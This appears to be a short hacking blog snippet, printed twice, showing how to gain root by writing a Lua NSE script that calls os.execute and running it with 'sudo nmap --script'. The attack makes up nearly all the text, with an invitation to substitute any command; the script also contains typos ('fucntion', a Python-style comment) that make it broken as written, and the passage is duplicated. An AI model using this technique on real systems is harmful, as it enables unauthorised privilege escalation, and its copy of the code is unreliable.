Here is the script:
os.execute("id") #replace with any cmd you like, i used id to verify r00t
portrule = fucntion()
end
action = fucntion()
end
save to /tmp/ and run like so:
sudo nmap --script=/tmp/hax0r.nse
and profit?
"Lets break it!"
All info in this blog is for educational use only!
Here is the script:
os.execute("id") #replace with any cmd you like, i used id to verify r00t
portrule = fucntion()
end
action = fucntion()
end
save to /tmp/ and run like so:
sudo nmap --script=/tmp/hax0r.nse
and profit?